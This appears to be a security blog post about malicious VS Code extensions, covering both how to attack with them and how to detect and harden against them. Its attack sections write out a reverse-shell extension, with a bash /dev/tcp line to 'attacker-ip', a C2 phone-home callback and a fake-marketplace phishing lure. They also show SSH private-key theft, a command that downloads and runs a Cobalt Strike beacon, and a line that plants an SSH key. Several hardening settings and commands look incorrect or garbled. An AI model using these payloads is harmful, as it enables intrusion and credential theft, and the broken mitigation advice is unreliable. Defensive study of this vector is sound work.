Listen to this Post
Introduction
Visual Studio Code (VS Code) extensions run with full user privileges, no sandboxing, and persist as long as the editor is open—making them a perfect stealth vector for offensive security operations. In a recent red-team engagement, attackers exploited this by crafting a malicious extension delivered via phishing as a `.vsix` file, gaining interactive shell access, network pivoting, and full control over a developer’s machine without any traditional persistence mechanisms like scheduled tasks or autostart entries.
Learning Objectives
- Understand how malicious VS Code extensions bypass traditional security controls and operate under full user rights.
- Learn to detect, analyze, and mitigate extension-based attacks using command-line tools and security configurations.
- Implement hardening measures for developer workstations and CI/CD pipelines against supply chain and phishing attacks targeting IDEs.
You Should Know
- Anatomy of a Malicious VS Code Extension – Building the Attack Vector
The attack leverages the fact that VS Code extensions are simply Node.js packages with elevated access to the file system, network, and child processes. A malicious extension can be packaged as a `.vsix` file and distributed without the Marketplace. Once a developer installs it (via `code –install-extension malicious.vsix` or double-click), the extension activates on every VS Code startup.
Step‑by‑step guide to understand the malicious extension structure:
- Create a basic extension skeleton using the VS Code Extension Generator:
npm install -g yo generator-code yo code Select "New Extension (TypeScript)"
- Modify `package.json` to include an activation event that triggers immediately:
"activationEvents": ["", "onStartupFinished"]
3. Implement a reverse shell in `extension.ts`:
import as vscode from 'vscode';
import { exec } from 'child_process';
export function activate(context: vscode.ExtensionContext) {
// Reverse shell to attacker C2
const sh = exec('powershell -NoP -NonI -Exec Bypass -Enc <base64_reverse_shell>');
// Or for Linux: exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');
}
4. Package the extension:
npm install -g @vscode/vsce vsce package
5. Deliver via phishing – rename `malicious.vsix` to `theme-extension.vsix` and email it as a “productivity tool”.
Windows command to detect active VS Code extensions:
Get-ChildItem -Path "$env:USERPROFILE.vscode\extensions" -Directory | Select-Object Name
Linux detection:
ls ~/.vscode/extensions/
- Phishing Delivery and Social Engineering – Why Developers Install Random Extensions
Developers are conditioned to install extensions for productivity. In the real-world attack, the `.vsix` was sent via LinkedIn or email, posing as a useful debugging tool. No Marketplace review means zero security scanning by Microsoft.
Step‑by‑step phishing simulation (authorized red‑team only):
- Craft the lure – “VS Code Extension to visualize Git logs” or “AI code completion helper”.
- Host the `.vsix` on a fake domain (e.g.,
vscode-marketplace-verified[.]com). - Use a phishing framework like Evilginx2 to capture Microsoft 365 credentials while delivering the payload.
- Track installation – include a callback in the extension code that phones home on first activation:
require('https').get('https://your-c2.com/installed?user='+require('os').userInfo().username);
Mitigation commands – block untrusted `.vsix` installation via Group Policy (Windows):
Disable VS Code extension installation from non-marketplace sources New-ItemProperty -Path "HKCU:\Software\Microsoft\VS Code" -Name "ExtensionsAllowUntrusted" -Value 0 -PropertyType DWord
Linux – audit installed extensions:
jq '.[] | .identifier.id' ~/.vscode/extensions//package.json
- Full User Rights – Why No Sandboxing Is a Disaster
VS Code extensions run with the same privileges as the user who launched the editor. On a developer’s machine, that often means local administrator rights or at least the ability to install software, modify SSH keys, and access source code repositories.
Step‑by‑step privilege escalation via extension:
- The extension executes `whoami` to verify current user context.
- It then reads `~/.ssh/id_rsa` (Linux/macOS) or `%USERPROFILE%\.ssh\id_rsa` (Windows) to steal private keys.
- Using the stolen key, it connects to corporate Git servers and exfiltrates proprietary code.
- It runs `net user` (Windows) or `cat /etc/passwd` (Linux) to enumerate other users.
Commands an attacker runs through the extension:
Windows (PowerShell from extension):
Dump all environment variables
Get-ChildItem Env:
List running processes to find security tools
Get-Process | Where-Object {$_.ProcessName -match "defender|crowdstrike|sentinel"}
Download and execute Cobalt Strike beacon
Invoke-WebRequest -Uri "http://malicious-server/beacon.exe" -OutFile "$env:TEMP\beacon.exe"; Start-Process "$env:TEMP\beacon.exe"
Linux (bash from extension):
Check for sudo misconfigurations sudo -l Add SSH key for persistent access echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys Pivot to internal network using developer's VPN session ip route | grep -E '10.|172.16.|192.168.'
- Detection and Forensics – Finding the Hidden Extension
Since malicious extensions do not create new processes (they run inside the VS Code main process), traditional EDR may miss them. However, artifact evidence remains.
Step‑by‑step forensic analysis:
- Check VS Code extension folder timestamps – a newly created folder with a recent date among older extensions is suspicious.
ls -la ~/.vscode/extensions/ | sort -k6 -r | head -10
- Inspect `package.json` of each extension for suspicious `activationEvents` like `””` or
"onStartupFinished".Get-ChildItem "$env:USERPROFILE.vscode\extensions" -Recurse -Filter "package.json" | ForEach-Object { Get-Content $_.FullName | Select-String "activationEvents" -Context 0,5 } - Monitor VS Code’s log file for extension crashes or network activity:
tail -f ~/.config/Code/logs//renderer1.log | grep -i "extension host"
- Use Sysmon (Windows) to log `ProcessCreate` events originating from
code.exe. Configure a rule:<ProcessCreate onmatch="include"> <ParentImage condition="end with">code.exe</ParentImage> </ProcessCreate>
Linux – real-time monitoring of extension network connections:
Watch for reverse shells from VS Code's Node process lsof -i -P -n | grep code | grep ESTABLISHED
5. Hardening Developer Workstations – Mitigation Blueprint
Organizations can prevent this attack without banning VS Code entirely. The key is controlling extension sources and minimizing privileges.
Step‑by‑step hardening guide:
1. Enforce Marketplace-only installation via `settings.json`:
"extensions.allowUntrustedExtensions": false, "extensions.allowAutoUpdate": false
Deploy this via Group Policy or `~/.config/Code/User/settings.json` managed by IT.
- Block `.vsix` email attachments using email gateway rules (Regex:
\.vsix$). -
Run VS Code in a constrained container (Linux) or AppLocker (Windows):
Docker-based VS Code with read-only filesystem docker run -it --rm --read-only -v /home/dev/project:/workspace codercom/code-server
Windows AppLocker rule to block execution of `code.exe` from non-system paths except signed binaries.
-
Implement application allowlisting for Node.js child processes. Use PowerShell JEA (Just Enough Administration):
Restrict which commands extensions can spawn Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\code.exe" -Name "MitigationOptions" -Value 0x100000000
-
Network segmentation – place developer workstations in a separate VLAN with outbound filtering. Block all reverse shell ports (4444, 1337, 9001) at the firewall.
-
Red-Team Simulation – Building Your Own Test Extension
To validate defenses, security teams can create a benign “offensive” extension that mimics the attack but only logs to a local file.
Step‑by‑step safe testing extension:
import as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
console.log("Red-team test extension loaded");
// Simulate file exfiltration by logging file reads
const watcher = vscode.workspace.createFileSystemWatcher('/.env');
watcher.onDidChange(uri => {
vscode.window.showWarningMessage(<code>Test extension detected change to: ${uri.fsPath}</code>);
// Log to local file for audit
require('fs').appendFileSync('/tmp/redteam.log', <code>${new Date()} - ${uri.fsPath}\n</code>);
});
// Simulate command execution (non-malicious)
const { exec } = require('child_process');
exec('echo "Red-team test" > /tmp/redteam_test.txt');
}
Deploy to a test VM and monitor:
On attacker machine (listening for callbacks) nc -lvnp 4444 On developer VM, install the test extension code --install-extension redteam-test.vsix --force
- Enterprise Response – What to Do After Detection
If a malicious VS Code extension is found, immediate containment and forensics are critical because the attacker may have already pivoted.
Incident response steps:
1. Isolate the workstation – disconnect network.
2. Capture memory for later analysis:
Linux sudo dd if=/dev/mem of=memory.dump Windows (using WinPMEM) winpmem.exe -o memory.raw
3. Extract all installed extensions before removal:
Copy-Item -Recurse "$env:USERPROFILE.vscode\extensions" "C:\forensics\extensions_backup"
4. Analyze extension code for indicators (C2 domains, hardcoded IPs, base64 payloads):
grep -r -E "https?://|tcp://|base64|child_process|exec" ~/.vscode/extensions/suspicious-extension/
5. Rotate all secrets – SSH keys, API tokens, cloud credentials that were accessible from that machine.
6. Check network logs for outbound connections from `code.exe` to unknown IPs during the compromise window.
Prevention automation – PowerShell script to audit extensions daily:
$extensions = Get-ChildItem "$env:USERPROFILE.vscode\extensions"
$knownHashes = Get-Content "\secure-share\allowed-extensions.txt"
foreach ($ext in $extensions) {
$hash = Get-FileHash $ext.FullName -Algorithm SHA256
if ($knownHashes -notcontains $hash.Hash) {
Write-Warning "Unknown extension detected: $($ext.Name)"
Send alert to SIEM
}
}
What Undercode Say
- Developer workstations are the new perimeter – traditional endpoint protection fails against extension-based malware because it runs inside a trusted process with legitimate network behavior.
- Supply chain security must include IDE extensions – organizations need to treat `.vsix` files like executables; block them by default and require approval via an internal marketplace.
- No sandboxing in VS Code is a design flaw – until Microsoft implements extension isolation (similar to browser extensions), red teams will keep exploiting this vector. Mitigations must focus on user education and strict allowlisting.
The attack highlights a fundamental tension: developer productivity vs. security. A single phishing email delivering a `.vsix` file bypasses EDR, SIEM, and traditional antivirus because the malicious code runs under the umbrella of a signed, trusted application (code.exe). Real-world red teams are already weaponizing this, and attackers will follow. Defenders must shift left – audit all IDE extensions, restrict outbound internet from dev machines, and implement behavioral monitoring for unusual child processes spawned by code.exe. The lesson is clear: if your developers can install it, assume an attacker already has.
Prediction
Within 12–18 months, we will see widespread in-the-wild exploitation of malicious VS Code extensions as a primary initial access vector, especially targeting software supply chains and cloud engineering teams. Microsoft will likely respond with a mandatory extension sandbox and a verified publisher program, but legacy versions will remain vulnerable. Organizations that fail to implement extension allowlisting today will face breaches traced back to a developer who “just installed a cool theme.” The next SolarWinds-style attack may well start with a `.vsix` file in a phishing email.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Jonas Kemmner – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
